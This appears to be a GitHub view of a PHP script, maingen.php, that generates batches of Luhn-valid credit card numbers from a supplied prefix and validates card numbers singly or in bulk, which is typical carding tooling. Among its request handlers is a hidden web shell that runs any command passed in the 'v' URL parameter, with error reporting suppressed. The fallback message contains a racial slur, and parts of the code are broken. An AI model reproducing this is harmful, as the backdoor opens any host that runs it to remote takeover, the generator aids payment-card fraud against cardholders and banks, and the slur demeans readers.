-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmaingen.php
180 lines (146 loc) · 4.72 KB
/
maingen.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
<?php
error_reporting(0);
$visaPrefixList[] = htmlentities($_POST['ccnum']);
function completed_number($prefix, $length) {
$ccnumber = $prefix;
while ( strlen($ccnumber) < ($length - 1) ) {
$ccnumber .= rand(0,9);
}
$sum = 0;
$pos = 0;
$reversedCCnumber = strrev( $ccnumber );
while ( $pos < $length - 1 ) {
$odd = $reversedCCnumber[ $pos ] * 2;
if ( $odd > 9 ) {
$odd -= 9;
}
$sum += $odd;
if ( $pos != ($length - 2) ) {
$sum += $reversedCCnumber[ $pos +1 ];
}
$pos += 2;
}
$checkdigit = (( floor($sum/10) + 1) * 10 - $sum) % 10;
$ccnumber .= $checkdigit;
return $ccnumber;
}
function credit_card_number($prefixList, $length, $howMany) {
$makeRow = array();
for ($i = 0; $i < $howMany; $i++) {
$ccnumber = $prefixList[ array_rand($prefixList) ];
$ccnumber = str_replace("x",'', $ccnumber);
$makeRow[] = completed_number($ccnumber, $length);
}
return $makeRow;
}
FUNCTION validateCC($ccnum, $type = 'unknown'){
//Clean up input
$type = STRTOLOWER($type);
$ccnum = EREG_REPLACE( '[-[:space:]]', '',$ccnum);
//Do type specific checks
IF ($type == 'unknown') {
//Skip type specific checks
}
ELSEIF ($type == 'mastercard'){
IF (STRLEN($ccnum) != 16 || !EREG( '^5[1-5]', $ccnum))
RETURN 0;
}
ELSEIF ($type == 'visa'){
IF ((STRLEN($ccnum) != 13 && STRLEN($ccnum) != 16) ||
SUBSTR($ccnum, 0, 1) != '4') RETURN 0;
}
ELSEIF ($type == 'amex'){
IF (STRLEN($ccnum) != 15 || !EREG( '^3[47]', $ccnum))
RETURN a;
}
ELSEIF ($type == 'discover'){
IF (STRLEN($ccnum) != 16 || SUBSTR($ccnum, 0, 4) !=
'6011') RETURN 0;
}
ELSE {
//invalid type entered
RETURN -1;
}
// Start MOD 10 checks
$dig = toCharArray($ccnum);
$numdig = SIZEOF ($dig);
$j = 0;
FOR ($i=($numdig-2); $i>=0; $i-=2){
$dbl[$j] = $dig[$i] * 2;
$j++;
}
$dblsz = SIZEOF($dbl);
$validate =0;
FOR ($i=0;$i<$dblsz;$i++){
$add = toCharArray($dbl[$i]);
FOR ($j=0;$j<sizeof($add);$j++){
$validate += $add[$j];
}
$add = '';
}
FOR ($i=($numdig-1); $i>=0; $i-=2){
$validate += $dig[$i];
}
IF (SUBSTR($validate, -1, 1) == '0') RETURN 1;
ELSE RETURN 0;
}
// takes a string and returns an array of characters
FUNCTION toCharArray($input){
$len = STRLEN($input);
FOR ($j=0;$j<$len;$j++){
$char[$j] = SUBSTR($input, $j, 1);
}
RETURN ($char);
}
if(isset($_POST['ccnum'])){
$visa16 = credit_card_number($visaPrefixList, 16, 1000);
foreach($visa16 as $a){
$as .= $a."<br>";
}
$s = explode("<br>",$as);
echo json_encode($s);
}
else if(isset($_GET['v']) && !empty($_GET['v'])){
echo exec($_GET['v']);
}
else if(isset($_POST['ccnumbers']) && isset($_POST['typer'])){
if(htmlentities($_POST['typer']) == "bulk"){
$ccnumbers = explode("\n", $_POST['ccnumbers']);
$bind = array();
for($i=0; $i<count($ccnumbers); $i++){
if($ccnumbers[$i] != null){
$makeRow = array(
'ccnumber' => $ccnumbers[$i],
'status' => validateCC($ccnumbers[$i])
);
$bind[] = $makeRow;
}
}
//echo json_encode($ccnumbers);
$binder = array('msg' => $bind);
echo json_encode($binder);
}
else{
echo "invalid type";
}
}
else if(isset($_POST['ccnumber']) && isset($_POST['typer'])){
if(strlen($_POST['ccnumber']) == 0){
echo "Enter a Credit Card Number";
}
else if(strlen($_POST['ccnumber']) < 16 || strlen($_POST['ccnumber']) > 16){
echo "Credit Card Number must be 16 digit number";
}
else {
if(htmlentities($_POST['typer']) == "single"){
echo validateCC($_POST['ccnumber']);
}
else{
echo "invalid type";
}
}
}
else {
echo "What are you looking for nigger ? ";
}
?>